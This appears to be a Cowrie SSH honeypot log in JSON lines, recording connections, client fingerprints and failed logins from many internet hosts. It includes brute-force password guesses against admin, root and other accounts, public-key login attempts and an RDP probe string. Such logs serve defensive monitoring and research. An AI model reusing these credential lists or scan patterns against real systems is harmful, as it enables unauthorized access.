{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:29:03.394424Z","src_ip":"115.91.48.142","session":"2cd89ef1100a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"31011972","message":"login attempt [admin/31011972] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:29:03.821551Z","src_ip":"2.57.121.112","session":"e82c45eea569","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:29:04.090895Z","src_ip":"87.251.79.125","session":"ac212685febe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"31011967","message":"login attempt [admin/31011967] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:29:04.926079Z","src_ip":"2.57.121.112","session":"e82c45eea569","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":59118,"dst_ip":"159.203.135.109","dst_port":22,"session":"960fae5f7395","protocol":"ssh","message":"New connection: 167.172.81.52:59118 (159.203.135.109:22) [session: 960fae5f7395]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:29:05.922163Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:29:05.926837Z","src_ip":"167.172.81.52","session":"960fae5f7395","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:29:05.934835Z","src_ip":"167.172.81.52","session":"960fae5f7395","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"301289","message":"login attempt [admin/301289] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:29:06.039553Z","src_ip":"2.57.121.112","session":"e82c45eea569","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"301279","message":"login attempt [admin/301279] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:29:07.145391Z","src_ip":"2.57.121.112","session":"e82c45eea569","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"30121994","message":"login attempt [admin/30121994] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:29:08.250793Z","src_ip":"2.57.121.112","session":"e82c45eea569","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:29:09.356353Z","src_ip":"2.57.121.112","session":"e82c45eea569","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":48010,"dst_ip":"159.203.135.109","dst_port":22,"session":"8aa7a7966648","protocol":"ssh","message":"New connection: 80.94.92.186:48010 (159.203.135.109:22) [session: 8aa7a7966648]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:29:12.107839Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:29:12.136363Z","src_ip":"80.94.92.186","session":"8aa7a7966648","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:29:12.263346Z","src_ip":"80.94.92.186","session":"8aa7a7966648","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456","message":"login attempt [ubuntu/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:29:12.874288Z","src_ip":"80.94.92.186","session":"8aa7a7966648","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:29:14.122452Z","src_ip":"80.94.92.186","session":"8aa7a7966648","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":36944,"dst_ip":"10.17.0.5","dst_port":22,"session":"be72a577a2ec","protocol":"ssh","message":"New connection: 103.176.20.57:36944 (10.17.0.5:22) [session: be72a577a2ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:29:14.747444Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:29:14.760893Z","src_ip":"103.176.20.57","session":"be72a577a2ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:29:15.021093Z","src_ip":"103.176.20.57","session":"be72a577a2ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"devil666","message":"login attempt [root/devil666] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:29:15.802910Z","src_ip":"103.176.20.57","session":"be72a577a2ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:29:17.065533Z","src_ip":"103.176.20.57","session":"be72a577a2ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"108.178.7.34","src_port":52454,"dst_ip":"10.17.0.5","dst_port":22,"session":"db313d8a6e64","protocol":"ssh","message":"New connection: 108.178.7.34:52454 (10.17.0.5:22) [session: db313d8a6e64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:29:24.911297Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:29:24.916770Z","src_ip":"108.178.7.34","session":"db313d8a6e64","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:29:24.946278Z","src_ip":"108.178.7.34","session":"db313d8a6e64","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"71:d8:05:5c:24:62:81:cf:97:91:e1:f8:1c:44:4b:e4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDvfX7JaJII9Vujlsu0hpN9sfF9CDqWQ2qbpbi4rYG9sD/dW2kbLMhzDfjEPaGg6XGkVqPmDKVeZb+03T9B924phN4Dj1jKULi5Y4irwutqyBnOB4WtbwVK/cc0VJ5wNMr/q6t5+aTiF+Gz9piPmZTop+Rp0x5MUU8qeZy+FME7mvoH6HSLmNbeXBWV9RYjWc2NZNshXQSJ9OTiUTD4G1lIWBjKE6VLErruO00JCuPvHTQ61Y9Kj6wn2Br8ZwzZI6MIYa09j40uwdhxO2WwewpDyK/twUcxH7LamRwmsZQC0Sz8chg0g36Nx8s6csCk89Xr1b6hGYVZtGdk+hzQlVu1","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 71:d8:05:5c:24:62:81:cf:97:91:e1:f8:1c:44:4b:e4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:29:25.060521Z","src_ip":"108.178.7.34","session":"db313d8a6e64","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"71:d8:05:5c:24:62:81:cf:97:91:e1:f8:1c:44:4b:e4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDvfX7JaJII9Vujlsu0hpN9sfF9CDqWQ2qbpbi4rYG9sD/dW2kbLMhzDfjEPaGg6XGkVqPmDKVeZb+03T9B924phN4Dj1jKULi5Y4irwutqyBnOB4WtbwVK/cc0VJ5wNMr/q6t5+aTiF+Gz9piPmZTop+Rp0x5MUU8qeZy+FME7mvoH6HSLmNbeXBWV9RYjWc2NZNshXQSJ9OTiUTD4G1lIWBjKE6VLErruO00JCuPvHTQ61Y9Kj6wn2Br8ZwzZI6MIYa09j40uwdhxO2WwewpDyK/twUcxH7LamRwmsZQC0Sz8chg0g36Nx8s6csCk89Xr1b6hGYVZtGdk+hzQlVu1","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:29:25.064883Z","src_ip":"108.178.7.34","session":"db313d8a6e64","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"59:98:82:42:ee:4f:04:b2:95:ce:39:7f:96:0a:08:57","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD3G9YXe32C/otc0x7YyGmkcxOjgxhKaZsg58Zwh/GMfYEbb7MeXb7b1txnIb9BPv7Y7rY8QhOB9xZUoXUghzw1ibXhwlpXESLP0cFp2fIX3x3ZTZgLUDYATQhWbzqHznk82Q+ewEqzNBhjPFfYnzoAOg2EAo5wI1cCfZNNCFW+KZztsKT2xXRliissS0S9KBJOkjhBrO4UeY2jalSPjGQlklu8MJf5rbWzgu9aVonz09/J3+jLvTUhotGwh4pUrGjaNyviNpHSFo0YZPNYMXNCdfg9ZjuG+LsUbhYz79+oQWwhY/Yba8b4oF0LoS2+jfDsg3CIpr6/w/XqWvgwjLuT","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 59:98:82:42:ee:4f:04:b2:95:ce:39:7f:96:0a:08:57","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:29:25.102937Z","src_ip":"108.178.7.34","session":"db313d8a6e64","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"59:98:82:42:ee:4f:04:b2:95:ce:39:7f:96:0a:08:57","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD3G9YXe32C/otc0x7YyGmkcxOjgxhKaZsg58Zwh/GMfYEbb7MeXb7b1txnIb9BPv7Y7rY8QhOB9xZUoXUghzw1ibXhwlpXESLP0cFp2fIX3x3ZTZgLUDYATQhWbzqHznk82Q+ewEqzNBhjPFfYnzoAOg2EAo5wI1cCfZNNCFW+KZztsKT2xXRliissS0S9KBJOkjhBrO4UeY2jalSPjGQlklu8MJf5rbWzgu9aVonz09/J3+jLvTUhotGwh4pUrGjaNyviNpHSFo0YZPNYMXNCdfg9ZjuG+LsUbhYz79+oQWwhY/Yba8b4oF0LoS2+jfDsg3CIpr6/w/XqWvgwjLuT","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:29:25.107236Z","src_ip":"108.178.7.34","session":"db313d8a6e64","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2a:25:08:9f:c5:48:3d:c3:a0:af:d6:70:6b:98:23:4b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGlT4e92biriYoIuz7OLbkebM1+aSgHeRQ1KI1FV7MID4yD5o9UeYv4AAsSOLaMG4AHlwFuR5KU4ezwTV/5yQ6SoPdQC6NOPLsP5QeYrFR2mSVteRd09fSCiaUJq7CSChso9mOHiZT1apIHP51lgAuoMl8SwJdpVDF3ux0qZNMzhQybOTtOMe0jYNYkJVe+3RiKj3RHd67ARDqgN7VvNzDcrZEpen8xQftPLFe7EeXb/AtTMkVQLmVsvlSfLCVyk1KGpQx2Ik03kamhO9hptYTaBbLEd9eY7DMyYtg4NJhLVyrBowu1DmoTncZuu8GDQGU/gj4tJ5HfwecJ8OJ9gql","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2a:25:08:9f:c5:48:3d:c3:a0:af:d6:70:6b:98:23:4b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:29:25.138884Z","src_ip":"108.178.7.34","session":"db313d8a6e64","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2a:25:08:9f:c5:48:3d:c3:a0:af:d6:70:6b:98:23:4b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGlT4e92biriYoIuz7OLbkebM1+aSgHeRQ1KI1FV7MID4yD5o9UeYv4AAsSOLaMG4AHlwFuR5KU4ezwTV/5yQ6SoPdQC6NOPLsP5QeYrFR2mSVteRd09fSCiaUJq7CSChso9mOHiZT1apIHP51lgAuoMl8SwJdpVDF3ux0qZNMzhQybOTtOMe0jYNYkJVe+3RiKj3RHd67ARDqgN7VvNzDcrZEpen8xQftPLFe7EeXb/AtTMkVQLmVsvlSfLCVyk1KGpQx2Ik03kamhO9hptYTaBbLEd9eY7DMyYtg4NJhLVyrBowu1DmoTncZuu8GDQGU/gj4tJ5HfwecJ8OJ9gql","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:29:25.143904Z","src_ip":"108.178.7.34","session":"db313d8a6e64","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f9:00:5a:3c:2b:c7:6e:8a:23:91:19:8c:c4:26:c3:36","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDSDZmu2gqgN103Rj/GtpwfuK3dRdG+mP2IuU5Xp5Ia4qCrPQ9AdhFKDU4KWpW+9kI0qS03D/syxLcgL3nDpTMO9P9+5s3PhX1zMGedqTw2rY+YmqyNUC7Cii8Lu3nF2aoNhBS8lDenGlQ3TbzZpp5yRSML9lotBNg3RycOGnhwaWLLNCnsU6RfjLO+98uzbyEv3qudhnAcCTsOAqNOeOQm2guq6grmB+YIOR0MWq75ERA2eYz5tYnEi2woUhecxZsqRgb7BXEddmY/Sfy/3VwtozcRvm4urqC0K7UIcOPLzU9KZuIuW7+3PF7lkHdIrns9nhPhGqJ7RtmZyZNDv9KP","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f9:00:5a:3c:2b:c7:6e:8a:23:91:19:8c:c4:26:c3:36","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:29:25.180724Z","src_ip":"108.178.7.34","session":"db313d8a6e64","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f9:00:5a:3c:2b:c7:6e:8a:23:91:19:8c:c4:26:c3:36","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDSDZmu2gqgN103Rj/GtpwfuK3dRdG+mP2IuU5Xp5Ia4qCrPQ9AdhFKDU4KWpW+9kI0qS03D/syxLcgL3nDpTMO9P9+5s3PhX1zMGedqTw2rY+YmqyNUC7Cii8Lu3nF2aoNhBS8lDenGlQ3TbzZpp5yRSML9lotBNg3RycOGnhwaWLLNCnsU6RfjLO+98uzbyEv3qudhnAcCTsOAqNOeOQm2guq6grmB+YIOR0MWq75ERA2eYz5tYnEi2woUhecxZsqRgb7BXEddmY/Sfy/3VwtozcRvm4urqC0K7UIcOPLzU9KZuIuW7+3PF7lkHdIrns9nhPhGqJ7RtmZyZNDv9KP","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:29:25.186049Z","src_ip":"108.178.7.34","session":"db313d8a6e64","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"91:a8:80:15:ba:cc:31:ea:08:3e:7b:c3:f2:69:52:26","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCnleO0PCimQkFcvXpeTjJ1Hus1TPAhxBBbdmXQjnYOSmxboWCMbGrgW8EoHQQT66bXkW9VsMMXWacD6Vxc9uigv4AsIBTz8AONEr5T7ZWYavMu6RjiWlY+4hoV/mftb/pd6D7+hrCyeodAWSgEH/bdV30JIfw7OlVVAPQvivBG+mwCUViY/GQUtUKW8lyQyMl3ewAxQFbNgysfW871Cuh1zNB1tS10MauKaAF1KDef+Wjs6+aDHRaJnRcUZTKHIYMjkw7qUxvyNp670VMiTvqMc3kv8GTZ6UhBD4WE/IwlGKx6l3yeV9Zm/enRT8Xg/n2SuhEUV+Rd4GBcRiBAbvyD","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 91:a8:80:15:ba:cc:31:ea:08:3e:7b:c3:f2:69:52:26","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:29:25.216726Z","src_ip":"108.178.7.34","session":"db313d8a6e64","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"91:a8:80:15:ba:cc:31:ea:08:3e:7b:c3:f2:69:52:26","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCnleO0PCimQkFcvXpeTjJ1Hus1TPAhxBBbdmXQjnYOSmxboWCMbGrgW8EoHQQT66bXkW9VsMMXWacD6Vxc9uigv4AsIBTz8AONEr5T7ZWYavMu6RjiWlY+4hoV/mftb/pd6D7+hrCyeodAWSgEH/bdV30JIfw7OlVVAPQvivBG+mwCUViY/GQUtUKW8lyQyMl3ewAxQFbNgysfW871Cuh1zNB1tS10MauKaAF1KDef+Wjs6+aDHRaJnRcUZTKHIYMjkw7qUxvyNp670VMiTvqMc3kv8GTZ6UhBD4WE/IwlGKx6l3yeV9Zm/enRT8Xg/n2SuhEUV+Rd4GBcRiBAbvyD","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:29:25.220788Z","src_ip":"108.178.7.34","session":"db313d8a6e64","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:29:25.256812Z","src_ip":"108.178.7.34","session":"db313d8a6e64","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.109.20.59","src_port":36236,"dst_ip":"10.17.0.5","dst_port":22,"session":"b85234d73246","protocol":"ssh","message":"New connection: 150.109.20.59:36236 (10.17.0.5:22) [session: b85234d73246]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:29:50.465681Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:29:50.470187Z","src_ip":"150.109.20.59","session":"b85234d73246","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:29:50.708344Z","src_ip":"150.109.20.59","session":"b85234d73246","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"password123","message":"login attempt [testuser/password123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:29:51.690954Z","src_ip":"150.109.20.59","session":"b85234d73246","protocol":"ssh"}
